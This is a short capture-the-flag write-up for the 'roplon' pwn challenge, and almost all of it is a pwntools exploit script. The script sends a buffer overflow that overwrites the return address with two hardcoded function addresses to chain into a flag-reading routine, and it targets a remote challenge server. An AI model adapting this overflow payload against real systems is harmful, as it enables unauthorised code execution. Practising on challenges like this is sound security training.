roplon

by Internaut401 / BullSoc

Tags: pwn rop

Rating:

EXPLOIT

```python
from pwn import *

exe = './roplon'

context.binary = exe
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

gs = '''
b main
set disable-randomization off
continue
'''

cpycmd = 0x00401196
execmd = 0x0040122c
catflg = 0x004011c0


def start(argv=[]):
    if args.GDB:
        r = gdb.debug([exe] + argv, gdbscript=gs)
    else:
        r = remote("184.72.87.9", 8007)
    return r


def main():
    r = start()
    r.recvuntil(b'2: shasum flag.txt\n')

    payload = b'A'*24
    payload += p64(catflg)
    payload += p64(execmd)

    r.sendline(payload)
    r.interactive()
```

```
if __name__ == "__main__":
    main()
```

Original writeup (https://github.com/Internaut401/CTF_Competitions_Writeup/blob/master/2023/roplon.md).

Comments